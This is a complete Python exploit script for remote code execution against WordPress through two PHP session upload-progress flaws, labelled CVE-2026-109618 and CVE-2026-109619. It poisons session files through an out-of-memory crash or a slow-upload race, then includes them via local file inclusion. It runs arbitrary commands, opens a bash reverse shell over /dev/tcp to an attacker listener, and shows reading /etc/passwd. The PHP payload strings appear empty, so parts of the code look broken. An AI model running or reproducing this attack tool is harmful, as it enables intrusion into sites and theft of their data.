#!/usr/bin/env python3 """ WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619 Demonstrates both PHP session upload progress vulnerabilities against a WordPress target that has: 1. A plugin calling session_start() (WooCommerce, any session-using plugin) 2. A local file inclusion vector (plugin theme-preview, template param, etc.) Two attack modes: OOM mode (CVE-2026-109618) Floods multipart fields to OOM PHP during parsing. zend_bailout() longjmps past MULTIPART_EVENT_END → session cleanup skipped → session file with PHP code persists on disk. Second request includes it via LFI. Works with session.upload_progress.cleanup=1. Race mode (CVE-2026-109619) Sends a slow multipart upload that keeps the session file populated while concurrent LFI requests race to include it before cleanup. Works with session.upload_progress.cleanup=1. Lower field count, no OOM needed. Usage: # OOM mode (default) — 'id' command python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id' # Race mode — reverse shell python3 wordpress-exploit.py -t http://target:8080/ --mode race \\ --lhost 10.0.0.1 --lport 4444 # Custom LFI parameter and session path python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\ --lfi-param dt_template --session-path /tmp/php-sessions """ import argparse import base64 import os import re import socket import sys import threading import time from urllib.parse import urlparse # ─── defaults ──────────────────────────────────────────────────────── WP_SESSION_PATHS = [ "/tmp", "/tmp/php-sessions", "/var/lib/php/sessions", "/var/lib/php5/sessions", ] WP_LFI_PARAMS = [ "dt_template", "page", "template", "file", "tpl", "include", "path", ] # OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit OOM_FIELD_SIZE = 1024 OOM_FIELDS_64M = 40000 OOM_FIELDS_128M = 80000 # ─── HTTP / multipart helpers ──────────────────────────────────────── def tcp_connect(host, port, tls=False, timeout=30): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def recv_all(sock, timeout=10): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def status_code(resp): try: return int(resp.split(b" ")[1]) except: return 0 def body_of(resp): if b"\r\n\r\n" not in resp: return resp hdr, raw = resp.split(b"\r\n\r\n", 1) if b"transfer-encoding: chunked" in hdr.lower(): out, data = b"", raw while data: nl = data.find(b"\r\n") if nl < 0: break try: clen = int(data[:nl].split(b";")[0].strip(), 16) except ValueError: break if clen == 0: break out += data[nl+2:nl+2+clen] data = data[nl+2+clen+2:] return out return raw def http_get(host, port, tls, path, headers=None, timeout=10): sock = tcp_connect(host, port, tls, timeout) req = ( b"GET " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" ) if headers: for k, v in headers.items(): req += f"{k}: {v}\r\n".encode() req += b"Connection: close\r\n\r\n" sock.sendall(req) resp = recv_all(sock, timeout) sock.close() return resp def mp_field(bnd, name, value): return (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n' b"\r\n" + value + b"\r\n") def mp_file(bnd, name, fname, content): return (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"; filename="' + fname + b'"\r\n' b"Content-Type: application/octet-stream\r\n" b"\r\n" + content + b"\r\n") def mp_end(bnd): return b"--" + bnd + b"--\r\n" # ─── payload builders ──────────────────────────────────────────────── def build_payload(args): if args.trigger_only: return b'' if args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() return f''.encode() if args.lhost and args.lport: shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" cmd_b64 = base64.b64encode(shell.encode()).decode() return f''.encode() print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") sys.exit(1) # ─── OOM mode (CVE-2026-109618) ───────────────────────────────────── def attack_oom(host, port, tls, path, sid, php_code, lfi_param, session_paths, fields, fsize, args): bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode() print("[*] Phase 1: session poisoning + OOM crash") print(f" Building {fields} × {fsize}B field payload...") body = b"" body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096) for i in range(fields): body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) body += mp_end(bnd) print(f" Payload: {len(body)/(1024*1024):.1f} MB") sock = tcp_connect(host, port, tls, timeout=120) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(len(body)).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) try: sock.sendall(body) except (BrokenPipeError, ConnectionResetError, OSError): pass resp = recv_all(sock, timeout=10) sock.close() sc = status_code(resp) if sc == 502 or sc == 0: print(f" [+] Worker crashed (HTTP {sc or 'reset'})") print(f" OOM during parsing — session cleanup skipped") elif sc == 500: print(f" [+] HTTP 500 — OOM during script execution") else: print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}") return False # Wait for new worker print(" Waiting for new worker...") time.sleep(2) for i in range(10): try: r = http_get(host, port, tls, path, timeout=3) if status_code(r) in (200, 301, 302, 403, 404): print(f" New worker ready") break except: pass time.sleep(1) else: print(" [!] New worker not available") return False # Phase 2: LFI return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args) # ─── Race mode (CVE-2026-109619) ──────────────────────────────────── def slow_upload(host, port, tls, path, sid, php_code, duration=8.0): bnd = b"----SLOW" + os.urandom(4).hex().encode() sock = tcp_connect(host, port, tls) head = b"" head += (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' b"\r\n" + php_code + b"\r\n") head += (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n' b"Content-Type: application/octet-stream\r\n\r\n") file_size = 1024 * 1024 tail = b"\r\n--" + bnd + b"--\r\n" total = len(head) + file_size + len(tail) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(total).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) sock.sendall(head) chunk = b"\x00" * 4096 sent, start = 0, time.time() try: while sent < file_size and (time.time() - start) < duration: sock.sendall(chunk[:min(4096, file_size - sent)]) sent += min(4096, file_size - sent) time.sleep(0.05) sock.sendall(tail) except (BrokenPipeError, ConnectionResetError, OSError): pass try: recv_all(sock, timeout=2) except: pass sock.close() def attack_race(host, port, tls, path, php_code, lfi_param, session_paths, attempts, args): for attempt in range(1, attempts + 1): if attempts > 1: print(f"[*] === Attempt {attempt}/{attempts} ===") sid = os.urandom(16).hex() lfi_sid = os.urandom(16).hex() print(f"[+] Upload SID: {sid}") print("[*] Starting slow upload (keeps session file alive)...") t = threading.Thread(target=slow_upload, args=(host, port, tls, path, sid, php_code, 8.0), daemon=True) t.start() time.sleep(0.3) print("[*] Racing LFI requests against upload...") for i in range(150): if not t.is_alive(): break for sp in session_paths: sess = f"{sp}/sess_{sid}" url = f"{path}?{lfi_param}={sess}" try: resp = http_get(host, port, tls, url, headers={"Cookie": f"PHPSESSID={lfi_sid}"}, timeout=3) rbody = body_of(resp) if b"CVE2026:" in rbody: output = extract_output(rbody.decode(errors="replace"), args) if output is not None: print(f"\n[+] Race won on iteration {i+1}") print_result(output, args) return True except: pass time.sleep(0.02) t.join(timeout=2) print(f" Race lost on attempt {attempt}") print("[!] Race condition failed after all attempts") return False # ─── LFI phase (shared) ───────────────────────────────────────────── def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args): print() print("[*] Phase 2: including poisoned session file via LFI...") for sp in session_paths: sess = f"{sp}/sess_{sid}" url = f"{path}?{lfi_param}={sess}" try: resp = http_get(host, port, tls, url, timeout=10) rbody = body_of(resp) if b"CVE2026:" in rbody: output = extract_output(rbody.decode(errors="replace"), args) if output is not None: print(f" Session file: {sess}") print_result(output, args) return True except: continue print(" [!] Session file not found via LFI") print(f" Tried: {', '.join(session_paths)}") return False def extract_output(body_text, args): if args.trigger_only: m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text) return m.group(1) if m else body_text[:200] if args.cmd: m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL) if m: return m.group(1).strip() if "upload_progress_" in body_text: return "" return body_text[:500] return "" def print_result(output, args): if args.trigger_only: print() print("[+] Code execution confirmed!") print(f" {output}") elif args.cmd: print() print("[+] ═══════════════ RCE OUTPUT ═══════════════") print(output) print("[+] ══════════════════════════════════════════") print() print("[+] RCE achieved!") else: print() print("[+] Payload delivered — check your listener") # ─── auto-detect ───────────────────────────────────────────────────── def detect_lfi_param(host, port, tls, path, params): for param in params: try: url = f"{path}?{param}=/etc/hostname" resp = http_get(host, port, tls, url, timeout=5) sc = status_code(resp) rbody = body_of(resp) if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200: return param except: continue return None # ─── main ──────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser( description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -t http://target:8080/ --cmd 'id' %(prog)s -t http://target:8080/ --mode race --cmd 'whoami' %(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target:8080/ --trigger-only """) ap.add_argument("-t", "--target", required=True, help="WordPress URL") ap.add_argument("--mode", choices=["oom", "race"], default="oom", help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)") ap.add_argument("--cmd", help="Command to execute") ap.add_argument("--lhost", help="Reverse shell listener IP") ap.add_argument("--lport", type=int, help="Reverse shell listener port") ap.add_argument("--trigger-only", action="store_true", help="Confirm vulnerability without payload") ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)") ap.add_argument("--session-path", help="session.save_path on target") ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M, help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)") ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE, help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})") ap.add_argument("--attempts", type=int, default=5, help="Race mode attempts (default 5)") args = ap.parse_args() p = urlparse(args.target) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" if not path.endswith("/") and "." not in path.split("/")[-1]: path += "/" php_code = build_payload(args) sid = os.urandom(16).hex() spaths = list(WP_SESSION_PATHS) if args.session_path: spaths = [args.session_path] + [s for s in spaths if s != args.session_path] cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)" print("=" * 65) print(f" WordPress RCE — {cve}") print("=" * 65) print(f" Target : {args.target}") print(f" Mode : {args.mode}") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") print() # Phase 0: verify target print("[*] Checking target...") try: r = http_get(host, port, tls, path, timeout=5) sc = status_code(r) if sc == 0: raise ConnectionError("no response") print(f" HTTP {sc} — WordPress alive") except Exception as e: print(f" [!] Not reachable: {e}") sys.exit(1) # Auto-detect LFI param lfi_param = args.lfi_param if not lfi_param: print("[*] Auto-detecting LFI parameter...") lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS) if lfi_param: print(f" [+] Found: {lfi_param}") else: print(" [!] No LFI param detected. Specify --lfi-param") sys.exit(1) print() if args.mode == "oom": ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param, spaths, args.fields, args.field_size, args) else: ok = attack_race(host, port, tls, path, php_code, lfi_param, spaths, args.attempts, args) sys.exit(0 if ok else 1) if __name__ == "__main__": main()